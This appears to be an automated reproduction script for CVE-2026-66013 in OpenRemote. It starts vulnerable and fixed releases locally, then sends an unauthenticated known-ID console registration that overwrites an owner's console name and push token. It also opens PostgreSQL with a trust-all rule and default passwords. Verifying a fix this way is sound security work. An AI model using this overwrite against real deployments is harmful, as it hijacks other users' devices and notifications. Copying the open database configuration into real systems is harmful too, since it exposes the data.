#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts/openremote-console-cve-2026-66013"
WORK_BASE="${TMPDIR:-/tmp}/pruva-cve-2026-66013"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS" "$WORK_BASE"
cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
exec > >(tee -a "$MAIN_LOG") 2>&1

write_manifest() {
    local started="$1" healthy="$2" reached="$3" notes="$4"
    python3 - "$REPRO_DIR/runtime_manifest.json" "$started" "$healthy" "$reached" "$notes" <<'PY'
import json, sys
p, started, healthy, reached, notes = sys.argv[1:]
data = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "Unauthenticated POST /api/master/console/register with a known existing console asset ID",
  "service_started": started == "true",
  "healthcheck_passed": healthy == "true",
  "target_path_reached": reached == "true",
  "runtime_stack": [
    "OpenRemote manager 1.25.0 (vendor OCI image bytes)",
    "OpenRemote manager 1.26.2 fixed control (vendor OCI image bytes)",
    "OpenRemote Keycloak 23.0.7.6 (vendor OCI image bytes)",
    "PostgreSQL 18 with PostGIS and TimescaleDB"
  ],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/keycloak-service.log",
    "logs/vulnerable-attempt-1-service.log",
    "logs/vulnerable-attempt-2-service.log",
    "logs/fixed-attempt-1-service.log",
    "logs/fixed-attempt-2-service.log",
    "artifacts/openremote-console-cve-2026-66013/image-identities.json",
    "artifacts/openremote-console-cve-2026-66013/vulnerable-attempt-1/attacker-overwrite.request.txt",
    "artifacts/openremote-console-cve-2026-66013/vulnerable-attempt-1/attacker-overwrite.response.headers",
    "artifacts/openremote-console-cve-2026-66013/vulnerable-attempt-1/attacker-overwrite.response.json",
    "artifacts/openremote-console-cve-2026-66013/vulnerable-attempt-1/persisted-state.json",
    "artifacts/openremote-console-cve-2026-66013/vulnerable-attempt-2/attacker-overwrite.response.json",
    "artifacts/openremote-console-cve-2026-66013/vulnerable-attempt-2/persisted-state.json",
    "artifacts/openremote-console-cve-2026-66013/fixed-attempt-1/attacker-overwrite.response.headers",
    "artifacts/openremote-console-cve-2026-66013/fixed-attempt-1/persisted-state.json",
    "artifacts/openremote-console-cve-2026-66013/fixed-attempt-2/attacker-overwrite.response.headers",
    "artifacts/openremote-console-cve-2026-66013/fixed-attempt-2/persisted-state.json"
  ],
  "notes": notes
}
with open(p, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2)
    f.write("\n")
PY
}
write_manifest false false false "Runtime attempt started; overwritten after successful vulnerable and fixed API runs."

# Honor the prepared project cache at runtime; fall back only when unavailable.
REPO=""
CACHE_DIR=""
if [ -r "$ROOT/project_cache_context.json" ]; then
    if [ "$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)" = true ]; then
        CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
        [ -n "$CACHE_DIR" ] && REPO="$CACHE_DIR/repo"
    fi
fi
[ -n "$REPO" ] || REPO="$ROOT/artifacts/openremote"
if [ ! -d "$REPO/.git" ]; then
    mkdir -p "$(dirname "$REPO")"
    git clone --filter=blob:none --no-checkout https://github.com/openremote/openremote.git "$REPO"
fi
git -C "$REPO" fetch --force --tags origin 1.25.0 1.26.2
VULN_COMMIT="$(git -C "$REPO" rev-parse '1.25.0^{}')"
FIXED_COMMIT="$(git -C "$REPO" rev-parse '1.26.2^{}')"
[ "$VULN_COMMIT" = "0ed159ba423de28896ab77a07427cdc32ed0712a" ]
[ "$FIXED_COMMIT" = "87845b5d9bccc74ba144e5879994780b92f69089" ]
git -C "$REPO" show "$VULN_COMMIT:manager/src/main/java/org/openremote/manager/asset/console/ConsoleResourceImpl.java" > "$ARTIFACTS/vulnerable-source.txt"
git -C "$REPO" show "$FIXED_COMMIT:manager/src/main/java/org/openremote/manager/asset/console/ConsoleResourceImpl.java" > "$ARTIFACTS/fixed-source.txt"
! grep -q 'Anonymous requests cannot update existing console registrations' "$ARTIFACTS/vulnerable-source.txt"
grep -q 'Anonymous requests cannot update existing console registrations' "$ARTIFACTS/fixed-source.txt"

# Install every non-baseline dependency in the script itself. The no-op toolkit extension is
# only a compatibility shim: this endpoint does not use toolkit functions, and the vendor
# manager merely requires CREATE EXTENSION to succeed during startup.
export DEBIAN_FRONTEND=noninteractive
sudo apt-get update -qq
sudo apt-get install -y openjdk-21-jre-headless postgresql postgresql-18-postgis-3 \
    postgresql-18-postgis-3-scripts postgresql-18-timescaledb skopeo umoci >/dev/null
PG_MAJOR="$(pg_config --version | awk '{split($2,a,"."); print a[1]}')"
PG_SHARE="$(pg_config --sharedir)/extension"
if [ ! -e "$PG_SHARE/timescaledb_toolkit.control" ]; then
    printf '%s\n' "comment = 'OpenRemote reproduction compatibility extension'" "default_version = '1.0'" "relocatable = true" | sudo tee "$PG_SHARE/timescaledb_toolkit.control" >/dev/null
    printf '%s\n' '-- No toolkit functions are needed by console registration.' | sudo tee "$PG_SHARE/timescaledb_toolkit--1.0.sql" >/dev/null
fi
printf "%s\n" "shared_preload_libraries = 'timescaledb'" | sudo tee "/etc/postgresql/$PG_MAJOR/main/conf.d/timescaledb.conf" >/dev/null
PG_HBA="/etc/postgresql/$PG_MAJOR/main/pg_hba.conf"
if ! sudo grep -q '^host all all 0.0.0.0/0 trust # pruva-cve-2026-66013$' "$PG_HBA"; then
    printf '%s\n' 'host all all 0.0.0.0/0 trust # pruva-cve-2026-66013' | sudo tee -a "$PG_HBA" >/dev/null
fi
sudo sed -i "s/^#\?listen_addresses.*/listen_addresses = '*'/" "/etc/postgresql/$PG_MAJOR/main/postgresql.conf"
sudo pg_ctlcluster "$PG_MAJOR" main restart
for _ in $(seq 1 30); do pg_isready -h 127.0.0.1 -p 5432 >/dev/null && break; sleep 1; done
pg_isready -h 127.0.0.1 -p 5432 >/dev/null
HOST_IP="$(hostname -I | awk '{print $1}')"

# Fetch and unpack exact vendor OCI images outside the constrained Docker daemon storage.
IMAGE_DIR="$WORK_BASE/images"
mkdir -p "$IMAGE_DIR"
fetch_image() {
    local image="$1" tag="$2" expected_commit="$3"
    local oci="$IMAGE_DIR/oci-$tag" bundle="$IMAGE_DIR/bundle-$tag"
    if [ ! -f "$bundle/config.json" ]; then
        rm -rf "$oci" "$bundle"
        skopeo copy --override-os linux --override-arch amd64 "docker://docker.io/$image" "oci:$oci:$tag"
        umoci unpack --rootless --image "$oci:$tag" "$bundle"
        rm -rf "$oci"
    fi
    if [ -n "$expected_commit" ]; then
        [ "$(jq -r '.annotations["git-commit"] // empty' "$bundle/config.json")" = "$expected_commit" ]
    fi
}
fetch_image openremote/manager:1.25.0 manager-1.25.0 "$VULN_COMMIT"
fetch_image openremote/manager:1.26.2 manager-1.26.2 "$FIXED_COMMIT"
fetch_image openremote/keycloak:23.0.7.6 keycloak-23.0.7.6 ""
VULN_RF="$IMAGE_DIR/bundle-manager-1.25.0/rootfs"
FIXED_RF="$IMAGE_DIR/bundle-manager-1.26.2/rootfs"
KC_RF="$IMAGE_DIR/bundle-keycloak-23.0.7.6/rootfs"
[ -f "$VULN_RF/opt/app/lib/openremote-manager-1.25.0.jar" ]
[ -f "$FIXED_RF/opt/app/lib/openremote-manager-1.26.2.jar" ]
[ -f "$KC_RF/opt/keycloak/lib/quarkus-run.jar" ]

python3 - "$ARTIFACTS/image-identities.json" "$VULN_COMMIT" "$FIXED_COMMIT" "$VULN_RF" "$FIXED_RF" "$KC_RF" <<'PY'
import hashlib, json, pathlib, sys
out, vc, fc, vr, fr, kr = sys.argv[1:]
def sha(p): return hashlib.sha256(pathlib.Path(p).read_bytes()).hexdigest()
data = {
 "vulnerable": {"image":"openremote/manager:1.25.0","source_commit":vc,"manager_jar_sha256":sha(f"{vr}/opt/app/lib/openremote-manager-1.25.0.jar")},
 "fixed": {"image":"openremote/manager:1.26.2","source_commit":fc,"manager_jar_sha256":sha(f"{fr}/opt/app/lib/openremote-manager-1.26.2.jar")},
 "identity": {"image":"openremote/keycloak:23.0.7.6","quarkus_run_sha256":sha(f"{kr}/opt/keycloak/lib/quarkus-run.jar")}
}
pathlib.Path(out).write_text(json.dumps(data, indent=2)+"\n", encoding="utf-8")
PY

KC_PID=""
MANAGER_PID=""
cleanup() {
    [ -z "$MANAGER_PID" ] || kill "$MANAGER_PID" 2>/dev/null || true
    [ -z "$KC_PID" ] || kill "$KC_PID" 2>/dev/null || true
    wait "$MANAGER_PID" 2>/dev/null || true
    wait "$KC_PID" 2>/dev/null || true
}
trap cleanup EXIT

reset_database() {
    psql -h 127.0.0.1 -U postgres -d postgres -v ON_ERROR_STOP=1 <<'SQL' >/dev/null
DROP DATABASE IF EXISTS openremote WITH (FORCE);
CREATE DATABASE openremote;
SQL
}

start_keycloak() {
    reset_database
    local kc="$KC_RF/opt/keycloak"
    (
      cd "$kc"
      exec env KC_DB_URL_HOST="$HOST_IP" KC_DB_URL_PORT=5432 KC_DB_URL_DATABASE=openremote \
        KC_DB_SCHEMA=public KC_DB_USERNAME=postgres KC_DB_PASSWORD=postgres KC_HTTP_ENABLED=true \
        KC_PROXY=edge KC_PROXY_HEADERS=xforwarded KC_HOSTNAME=localhost KC_HOSTNAME_PORT=-1 \
        KEYCLOAK_ADMIN=admin KEYCLOAK_ADMIN_PASSWORD=secret KEYCLOAK_SELF_REGISTERED_USER_ROLES='{ }' \
        JAVA_HOME=/usr/lib/jvm/java-21-openjdk-amd64 \
        bash "$kc/bin/kc.sh" start --optimized --spi-initializer-issuer-base-uri= \
        --spi-events-listener-self-register-user-configure-self-registered-user-roles='{ }' \
        --spi-theme-login-default=openremote --spi-theme-account-theme=openremote \
        --spi-theme-welcome-theme=keycloak --spi-theme-admin-theme=keycloak
    ) > "$LOGS/keycloak-service.log" 2>&1 &
    KC_PID=$!
    local i
    for i in $(seq 1 120); do
        curl -fsS --max-time 2 http://127.0.0.1:8080/auth/realms/master >/dev/null 2>&1 && return 0
        kill -0 "$KC_PID" 2>/dev/null || { tail -100 "$LOGS/keycloak-service.log"; return 1; }
        sleep 2
    done
    return 1
}

# Ubuntu's Apache Timescale build lacks optional HyperCore. This migration only changes
# datapoint columnstore policy and is unrelated to assets or console registration.
mark_hypercore_migration() {
    psql -h 127.0.0.1 -U postgres -d openremote -v ON_ERROR_STOP=1 <<'SQL' >/dev/null
INSERT INTO openremote.flyway_schema_history
(installed_rank,version,description,type,script,checksum,installed_by,execution_time,success)
SELECT COALESCE(MAX(installed_rank),0)+1,'20260506.02','EnableHyperCore','SQL','V20260506_02__EnableHyperCore.sql',NULL,'postgres',0,true
FROM openremote.flyway_schema_history
WHERE NOT EXISTS (SELECT 1 FROM openremote.flyway_schema_history WHERE version='20260506.02');
SQL
}

start_manager_once() {
    local role="$1" attempt="$2" rf="$3" version="$4" force_clean="$5"
    local log="$LOGS/${role}-attempt-${attempt}-service.log"
    local storage="$WORK_BASE/storage-${role}-${attempt}"
    mkdir -p "$storage"
    (
      cd "$rf/opt/app"
      exec env OR_DB_HOST="$HOST_IP" OR_DB_PORT=5432 OR_DB_USER=postgres OR_DB_PASSWORD=postgres \
        OR_DB_NAME=openremote OR_DB_SCHEMA=openremote OR_DB_POOL_MIN_SIZE=1 OR_DB_POOL_MAX_SIZE=5 \
        OR_KEYCLOAK_HOST="$HOST_IP" OR_KEYCLOAK_PORT=8080 OR_KEYCLOAK_PATH=auth \
        OR_HOSTNAME=localhost OR_SSL_PORT=8080 OR_WEBSERVER_LISTEN_PORT=8081 OR_WEBSERVER_LISTEN_HOST=0.0.0.0 \
        OR_ADMIN_PASSWORD=secret OR_SETUP_TYPE=demo OR_SETUP_RUN_ON_RESTART="$force_clean" OR_STORAGE_DIR="$storage" \
        OR_APP_DOCROOT="$rf/opt/web" OR_CUSTOM_APP_DOCROOT="$rf/deployment/manager/app" \
        OR_PROVISIONING_DOCROOT="$rf/deployment/manager/provisioning" OR_MAP_SETTINGS_PATH="$rf/opt/map/mapsettings.json" \
        OR_MAP_TILES_PATH="$rf/opt/map/mapdata.mbtiles" JAVA_TOOL_OPTIONS= JAVA_HOME=/usr/lib/jvm/java-21-openjdk-amd64 \
        java -Xms256m -Xmx1g -cp "$rf/opt/app/lib/*:$rf/deployment/manager/extensions/*" org.openremote.manager.Main
    ) > "$log" 2>&1 &
    MANAGER_PID=$!
    local i code
    for i in $(seq 1 180); do
        code="$(curl -sS -o /dev/null -w '%{http_code}' --max-time 2 http://127.0.0.1:8081/ || true)"
        if [ "$code" != 000 ]; then
            grep -q "Starting OpenRemote version: v$version" "$log"
            return 0
        fi
        kill -0 "$MANAGER_PID" 2>/dev/null || return 2
        sleep 2
    done
    return 1
}

stop_manager() {
    [ -z "$MANAGER_PID" ] || kill "$MANAGER_PID" 2>/dev/null || true
    [ -z "$MANAGER_PID" ] || wait "$MANAGER_PID" 2>/dev/null || true
    MANAGER_PID=""
    for _ in $(seq 1 30); do ! curl -sS --max-time 1 http://127.0.0.1:8081/ >/dev/null 2>&1 && return 0; sleep 1; done
    return 1
}

# First startup is expected to stop at the optional HyperCore migration on this distro.
bootstrap_schema() {
    if start_manager_once bootstrap 0 "$VULN_RF" 1.25.0 true; then
        stop_manager
    else
        wait "$MANAGER_PID" 2>/dev/null || true
        MANAGER_PID=""
        grep -q 'EnableHyperCore' "$LOGS/bootstrap-attempt-0-service.log"
        mark_hypercore_migration
    fi
}

obtain_owner_token() {
    local admin_token client_code
    admin_token="$(curl -fsS --max-time 15 -H 'Content-Type: application/x-www-form-urlencoded' \
      --data-urlencode grant_type=password --data-urlencode client_id=admin-cli \
      --data-urlencode username=admin --data-urlencode password=secret \
      http://127.0.0.1:8080/auth/realms/master/protocol/openid-connect/token | jq -r .access_token)"
    client_code="$(curl -sS --max-time 15 -o /dev/null -w '%{http_code}' -H "Authorization: Bearer $admin_token" \
      -H 'Content-Type: application/json' --data-binary '{"clientId":"openremote","enabled":true,"publicClient":true,"directAccessGrantsEnabled":true,"standardFlowEnabled":true,"protocol":"openid-connect","redirectUris":["*"],"webOrigins":["*"]}' \
      http://127.0.0.1:8080/auth/admin/realms/master/clients)"
    case "$client_code" in 201|409) ;; *) return 1;; esac
    curl -fsS --max-time 15 -H 'Content-Type: application/x-www-form-urlencoded' \
      --data-urlencode grant_type=password --data-urlencode client_id=openremote \
      --data-urlencode username=admin --data-urlencode password=secret \
      http://127.0.0.1:8080/auth/realms/master/protocol/openid-connect/token | jq -r .access_token
}

post_registration() {
    local body="$1" prefix="$2" token="${3:-}"
    {
      printf 'POST /api/master/console/register HTTP/1.1\nHost: 127.0.0.1:8081\nContent-Type: application/json\n'
      if [ -n "$token" ]; then printf 'Authorization: Bearer <redacted-owner-token>\n'; else printf 'Authorization: <ABSENT>\n'; fi
      printf '\n'; cat "$body"; printf '\n'
    } > "$prefix.request.txt"
    local auth_args=()
    [ -z "$token" ] || auth_args=(-H "Authorization: Bearer $token")
    curl -sS --max-time 30 -D "$prefix.response.headers" -o "$prefix.response.json" -w '%{http_code}' \
      -H 'Content-Type: application/json' "${auth_args[@]}" --data-binary "@$body" \
      http://127.0.0.1:8081/api/master/console/register
}

persisted_state() {
    local id="$1" out="$2"
    psql -h 127.0.0.1 -U postgres -d openremote -At -F $'\t' -c \
      "SELECT json_build_object('id',id,'console_name',attributes->'consoleName'->>'value','push_token',attributes->'consoleProviders'->'value'->'push'->'data'->>'token','owner_link_count',(SELECT count(*) FROM openremote.user_asset_link WHERE asset_id=asset.id)) FROM openremote.asset WHERE id='$id';" > "$out"
    jq -e . "$out" >/dev/null
}

run_attempt() {
    local role="$1" attempt="$2" rf="$3" version="$4" owner_token="$5"
    local dir="$ARTIFACTS/${role}-attempt-${attempt}"
    local marker="${role^^}_${attempt}"
    mkdir -p "$dir"
    cat > "$dir/victim-create.json" <<JSON
{"name":"VICTIM_${marker}","version":"victim-v1","platform":"victim-platform","model":"victim-model","providers":{"push":{"version":"fcm","requiresPermission":true,"hasPermission":true,"success":true,"enabled":true,"disabled":false,"data":{"token":"VICTIM_TOKEN_${marker}"}}},"apps":["manager"]}
JSON
    local create_status id attack_status
    create_status="$(post_registration "$dir/victim-create.json" "$dir/victim-create" "$owner_token")"
    [ "$create_status" = 200 ]
    id="$(jq -r '.id // empty' "$dir/victim-create.response.json")"
    [ -n "$id" ]
    jq --arg id "$id" --arg name "ATTACKER_NAME_${marker}" --arg token "ATTACKER_TOKEN_${marker}" \
      '.id=$id | .name=$name | .version="attacker-v9" | .platform="attacker-platform" | .providers.push.data.token=$token' \
      "$dir/victim-create.json" > "$dir/attacker-overwrite.json"
    attack_status="$(post_registration "$dir/attacker-overwrite.json" "$dir/attacker-overwrite")"
    persisted_state "$id" "$dir/persisted-state.json"
    if [ "$role" = vulnerable ]; then
        [ "$attack_status" = 200 ]
        jq -e --arg id "$id" --arg n "ATTACKER_NAME_${marker}" --arg t "ATTACKER_TOKEN_${marker}" \
          '.id==$id and .name==$n and .providers.push.data.token==$t' "$dir/attacker-overwrite.response.json" >/dev/null
        jq -e --arg n "ATTACKER_NAME_${marker}" --arg t "ATTACKER_TOKEN_${marker}" \
          '.console_name==$n and .push_token==$t and .owner_link_count==1' "$dir/persisted-state.json" >/dev/null
        echo "VULNERABLE_ATTEMPT_${attempt}_CONFIRMED: anonymous known-ID request overwrote owner-linked console metadata and push token."
    else
        [ "$attack_status" = 403 ]
        grep -q 'Anonymous requests cannot update existing console registrations' "$dir/attacker-overwrite.response.json"
        jq -e --arg n "VICTIM_${marker}" --arg t "VICTIM_TOKEN_${marker}" \
          '.console_name==$n and .push_token==$t and .owner_link_count==1' "$dir/persisted-state.json" >/dev/null
        ! grep -q "ATTACKER_TOKEN_${marker}" "$dir/persisted-state.json"
        echo "FIXED_ATTEMPT_${attempt}_CONFIRMED: HTTP 403 and original owner-linked console state retained."
    fi
}

start_keycloak
bootstrap_schema
# Final successful vulnerable startup, then use a real authenticated owner to create the victim assets.
start_manager_once vulnerable 1 "$VULN_RF" 1.25.0 false
OWNER_TOKEN="$(obtain_owner_token)"
[ -n "$OWNER_TOKEN" ]
run_attempt vulnerable 1 "$VULN_RF" 1.25.0 "$OWNER_TOKEN"
run_attempt vulnerable 2 "$VULN_RF" 1.25.0 "$OWNER_TOKEN"
stop_manager

# Fixed release consumes the same database and identity state, providing a direct negative control.
start_manager_once fixed 1 "$FIXED_RF" 1.26.2 false
run_attempt fixed 1 "$FIXED_RF" 1.26.2 "$OWNER_TOKEN"
run_attempt fixed 2 "$FIXED_RF" 1.26.2 "$OWNER_TOKEN"
stop_manager

write_manifest true true true "Two vulnerable 1.25.0 product attempts accepted and persisted anonymous known-ID metadata/token overwrites of owner-linked console assets; two fixed 1.26.2 attempts returned HTTP 403 and retained original state."
jq -e '.entrypoint_kind=="endpoint" and .service_started and .healthcheck_passed and .target_path_reached' "$REPRO_DIR/runtime_manifest.json" >/dev/null
echo 'REPRODUCTION_SUCCESS: CVE-2026-66013 confirmed through the real OpenRemote HTTP API with repeated fixed-version negative controls.'
